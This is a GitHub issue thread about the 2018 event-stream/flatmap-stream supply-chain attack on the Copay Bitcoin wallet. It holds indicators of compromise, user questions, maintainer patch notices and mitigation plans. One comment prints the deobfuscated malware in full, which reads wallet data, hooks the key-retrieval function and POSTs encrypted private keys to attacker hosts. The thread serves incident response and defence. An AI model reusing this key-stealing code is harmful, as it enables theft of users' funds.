New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

`event-stream` dependency attack steals wallets from users of copay #9346

Closed
deanveloper opened this Issue Nov 26, 2018 · 29 comments

Comments

Projects
None yet
@deanveloper

deanveloper commented Nov 26, 2018

dominictarr/event-stream#116

@GHTesting174

This comment has been minimized.

GHTesting174 commented Nov 26, 2018

HTTP POST traffic on port 8080 to copayapi.host (which currently resolves to 51.38.112.212 and previously resolved to 145.249.104.239) or 111.90.151.134 indicates compromised and exfiltrated wallet private keys.

Just going to aggregate other related info to help investigators:

51.38.112.212 is owned by OVH, 145.249.104.239 is owned by Liberty VPS, and 111.90.151.134 is owned by Shinjiru, a Malaysian web hosting provider.

copayapi.host's SOA record indicates the domain registrant's email address is kvlguuvh@sharklasers.com (sharklasers.com is a temporary/disposable email provider).

The GitHub account of the event-stream hijacker: https://github.com/right9ctrl (email address right9ctrl@outlook.com)

The NPM account of the event-stream hijacker: https://www.npmjs.com/~right9ctrl

The GitHub repo for the malicious flatmap-stream package: https://github.com/hugeglass/flatmap-stream

The NPM account of the malicious flatmap-stream package's owner: https://www.npmjs.com/~hugeglass

I believe it's likely "right9ctrl", "hugeglass", and "kvlguuvh@sharklasers.com" are all the same person or group of people.

Full list of network indicators (malicious infrastructure operated by the wallet thief/thieves - note that the IPs may correspond to compromised servers and may not be owned by the thieves):

  • copayapi.host
  • 51.38.112.212
  • 145.249.104.239
  • 111.90.151.134
@deanveloper

This comment has been minimized.

deanveloper commented Nov 26, 2018

TL;DR of dominictarr/event-stream#116:

@nicolasnoble

So, for people who try to understand what the malicious payload is doing: it's basically crawling your dependencies for a peer dependency on the package copay-dash, and it's an attack basically crafted towards this package.

If your overall application has both this malicious package and "copay-dash", then it's going to try stealing the bitcoins stored in it.

dominictarr/event-stream#116 (comment)

@gabegattis

This comment has been minimized.

Member

gabegattis commented Nov 26, 2018

We are investigating

@joepie91

This comment has been minimized.

joepie91 commented Nov 26, 2018

Relevant: 6cc4b75#diff-32607347f8126e6534ebc7ebaec4853dL12251

Seems you were affected at one point.

@nicolasnoble

This comment has been minimized.

nicolasnoble commented Nov 26, 2018

Actually, looking closer at the code, it's not even trying to crawl anything. The code can ONLY work if the malicious payload is run FROM the copay package itself. This is really crafty.

@matiu

This comment has been minimized.

Member

matiu commented Nov 26, 2018

Thanks a lot for the detailed help.

thankfully the code with the malicious package was not deployed in any platform. We will remove the dependency now.

We are contacting copay-dash, which is a fork of this proyect, to let them know.

==

Further examination of the code was relieved we did release some platforms with the affected code. We still investigating and communicate ASAP.

@atomantic

This comment has been minimized.

atomantic commented Nov 26, 2018

Narrowly escaped a mass theft/liquidation event. Network egress monitoring would be good to add to automated tests if not already part of the build validation process.

@nicolasnoble

This comment has been minimized.

nicolasnoble commented Nov 26, 2018

@atomantic: this probably wouldn't have worked. The malware was only trying to move wallets matching certain criteria. Surely they could easily have avoided the hypothetical test criteria.

@atomantic

This comment has been minimized.

atomantic commented Nov 26, 2018

@atomantic: this probably wouldn't have worked. The malware was only trying to move wallets matching certain criteria. Surely they could easily have avoided the hypothetical test criteria.

good point--if the tests are only in the open source package. I would hope BitPay has other tests that are a process wrapping these tests in a more robust release process.

spencern added a commit to reactioncommerce/reaction that referenced this issue Nov 26, 2018

fix: bump nodemon to remove event-stream dep
This fix removes a dependency on event-stream introduced by nodemon via pstree by bumping nodemon and pstree.remy through nodemon to a verson that does not include pstree.

The [event-stream issue](dominictarr/event-stream#116) appears to have specifically targeted [copay](bitpay/copay#9346) which does appear to have caught the issue before anything was deployed.

We encourage all users of Reaction Commerce to update.
@Giszmo

This comment has been minimized.

Giszmo commented Nov 26, 2018

Such tests would definitely require some secrecy and having them completely transparent to the attacker would be quite stupid. @atomantic how would you automate such tests? Any tools you can recommend?

spencern added a commit to reactioncommerce/reaction that referenced this issue Nov 26, 2018

fix: bump nodemon to remove event-stream dep
This fix removes a dependency on event-stream introduced by `nodemon` via `pstree` by bumping `nodemon` and `pstree.remy` through `nodemon` to a version that does not include `pstree`.

[event-stream](dominictarr/event-stream#116) had a malicious bit of code added to version `3.3.6` which has since been removed from github and appears to have specifically targeted [copay](bitpay/copay#9346).

From the original post in the `event-stream` repo:
>    **Am I affected?:**
> If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to by copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:
> ```
>    $ npm ls event-stream flatmap-stream
>    ...
>    flatmap-stream@0.1.1
>    ...
> ```

>    **What does it do**:
>    Other users have done some good analysis of what these payloads actually do.
>        dominictarr/event-stream#116 (comment)
>        dominictarr/event-stream#116 (comment)
>        dominictarr/event-stream#116 (comment)

>  **What can I do:**
> By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to event-stream@3.3.4. This protects people with cached versions of event-stream.

See the issue on the `event-stream` repo for more information: dominictarr/event-stream#116
@matiu

This comment has been minimized.

Member

matiu commented Nov 26, 2018

Our team is investigating this issue and the extent of the vulnerability. Currently we have only confirmed that the malicious code was deployed on versions 5.0.2 through 5.1.0 of our Copay and BitPay apps. However, the BitPay app was not vulnerable to the malicious code. If you are using any version from 5.0.2 to 5.1.0, you should not run or open the Copay app. We are still investigating whether this code vulnerability was ever exploited against Copay users.
A security update version (5.2.0) has been released and will be available for all Copay and BitPay wallet users in the app stores. If users do not see the updated version, please try again momentarily.

As this affects private keys, we recommend users immediately update the affected wallet and send all funds from any affected wallets to a brand new wallet on version 5.2.0 by using the Send Max feature to initiate a transaction and not by restoring using the wallet's twelve word phrase.

@hatgit

This comment has been minimized.

hatgit commented Nov 26, 2018

What is the name of the patch and are any white-label partners affected? (i.e. other wallets that use the tech branded with their names) such as Bitcoin.com?

@sweetppro

This comment has been minimized.

sweetppro commented Nov 26, 2018

are the legacy wallets affected?
v4.8.1, v4.8.0 etc...

@cmgustavo

This comment has been minimized.

Member

cmgustavo commented Nov 26, 2018

@sweetppro No, the old versions are not.

@fraggle222

This comment has been minimized.

fraggle222 commented Nov 26, 2018

So does this effect iOS and Android end users of Copay app? It is unclear. There is actually code running on our iOS app the extracts private keys held iOS keychain and transmits these to a 3rd party?

@hatgit

This comment has been minimized.

hatgit commented Nov 26, 2018

Would version 5.2 on bitcoin.com's version of the copay app be the same fix described above as a security update? They patched that three days ago.

@sartaj

This comment has been minimized.

sartaj commented Nov 27, 2018

OSS should be treated with a no trust mentality when dealing with sensitive data. Strict Content Security Policies can prevent hacks that steal data and thorough E2E/unit tests can prevent hacks that mess with UX.

@tuliopa

This comment has been minimized.

tuliopa commented Nov 27, 2018

Hi, may you mention if this bug affect the Andriod client, the latest apk in google play store is from november 16, version 5.1.1.

@atomantic

This comment has been minimized.

atomantic commented Nov 27, 2018

Such tests would definitely require some secrecy and having them completely transparent to the attacker would be quite stupid. @atomantic how would you automate such tests? Any tools you can recommend?

I'm not an employee of BitPay but npm run test is only part of a release process. BitPay doesn't commit their Apple publisher keys to the open source library and depend entirely on an open source build/release pipeline. The publication of a new version is part of a hidden process within their secure environment. Likewise, they should have other tests that more robustly validate the integrity of module dependencies and run a production-equivalent version of the release candidate in a sandbox environment with monitors for network egress/connections (netstat, lsof, etc). If some environments/candidates can't be automated, manual testing/monitoring must be in place until automation is sufficient. Something like Charles Proxy or Little Snitch can be used to proxy network connections from an iOS/Android device and network connection attempts can be captured. This isn't nearly enough though as the malicious code could potentially see the network settings and only act if there isn't a proxy configured.

Hopefully this particular case acts as a sample of what BitPay can do in the future within their meta release validation process. The question is posed to them: what are they going to add to their process that will make BitPay and their users confident that this kind of attack will not go unnoticed before a release is put out into the wild?

@nicolasnoble

This comment has been minimized.

nicolasnoble commented Nov 27, 2018

Note that the malware was really sneaky, and only triggering the upload of the private keys for wallets that had genuinely over 100 BTC in there.

@atomantic

This comment has been minimized.

atomantic commented Nov 27, 2018

Note that the malware was really sneaky, and only triggering the upload of the private keys for wallets that had genuinely over 100 BTC in there.

Perhaps a good first step in testing dependency upgrades is to look for the new appearance of high-entropy blobs, the inclusion of crypto, new dependency additions to sub-dependencies.

This is a seemingly innocuous commit from a raw code perspective: dominictarr/event-stream@e316336

However, if the build validation paused for a human to examine and approve why a dependency was added to the chain, they would have deduced that this looks super fishy and shouldn't be trusted.

Additionally, this update added a large high-entropy blob (note: a future attacker could break this up into tiny blobs and join them).

@mshanx

This comment has been minimized.

mshanx commented Nov 27, 2018

So when the new version is going to be available in app store? You say that we need to move funds asap to a brand new wallet on updated version but it’s still not available.

@fraggle222

This comment has been minimized.

fraggle222 commented Nov 27, 2018

I put more info about the malicious code in this thread dominictarr/event-stream#116 (comment)

final result is:

 function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();```
@matiu

This comment has been minimized.

Member

matiu commented Nov 28, 2018

@mshanx Copay have been submitted already, there should be available soon. There are available already in some platforms. You can import your seed on Bitpay Wallet app & access your wallet there.

Also, we have reported and taken down the endpoints where the malicious code post the data, so they are not working now.

@atomantic Thanks for your comments and suggestions.

We will be taking multiple measures to mitigate future issues like this one. The dependencies problem on node.js is a huge problem and many projects are facing issues like this. Almost 4000 projects were "infected" just to access Copay. On the other hand, trying to build a competitive app, GUI-wise, multiplatform not using JS seems impossible.

Some of the measures we are doing:

  1. Freeze dependencies and add them to the repo, so we can see diff when upgrading deps. This will be practical sometimes, be definitely not always.
  2. Restrict network access within the app.
  3. Create a new app, with very few dependencies, to sign TXs. This is already working in our CLI app and air-gapped signer.
  4. Freeze critical classes to prevent function over-write.
  5. Refactor storage, to only allow access from certain code parts.
    Other measures are been considered.

thanks, matías

@fraggle222

This comment has been minimized.

fraggle222 commented Nov 28, 2018

@matiu I like the idea of 3. Create a new app, with very few dependencies, to sign TXs.

@matiu

This comment has been minimized.

Member

matiu commented Nov 28, 2018

JFYI,

Copay v5.2.2 is already available on Android (https://play.google.com/store/apps/details?id=com.bitpay.copay&hl=en), iOs and all platforms.

@lassikin

This comment has been minimized.

lassikin commented Nov 29, 2018

OSS should be treated with a no trust mentality when dealing with sensitive data. Strict Content Security Policies can prevent hacks that steal data and thorough E2E/unit tests can prevent hacks that mess with UX.

The problem will remain if those tests are public and the project has dependencies on 3rd party submitters - automatic testing cannot be trusted. The offending code can be made to not activate under the tests and rather easily at that if the tests are public. The core of the problem is trusting hundreds of 3rd party maintainers to stay straight. The only reasonable action would be to work to remove the dependencies(possibly fork known good versions of them).

For me the 1) and 3) are the reasonable things to do. When any of the dependencies change, go through the changes manually, if they are not relevant/necessary not include the updates.

In addition to just go through the dependencies to remove any that are so small as to just include in the main project, just to lower the amount of people that need to be trustworthy.

Restricting network access within the dependencies of the app is very hard to do practically as is only allowing access to storage from certain code parts(in a fashion that you could trust it).

@matiu

This comment has been minimized.

Member

matiu commented Nov 29, 2018

@lassikin regarding 2), in the just released 5.3.0 we will be using CSP to restrict network access to whitelisted sites (bitpay backend and a couple of affiliates). CSP should be a secure method to prevent network access to all JS code in the app, do you have any commment on that? thanks.

@matiu

This comment has been minimized.

Member

matiu commented Nov 29, 2018

  1. we will be also locking package-lock during each major version. We will only update security patches, but any update will only happen when a new major version is released.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment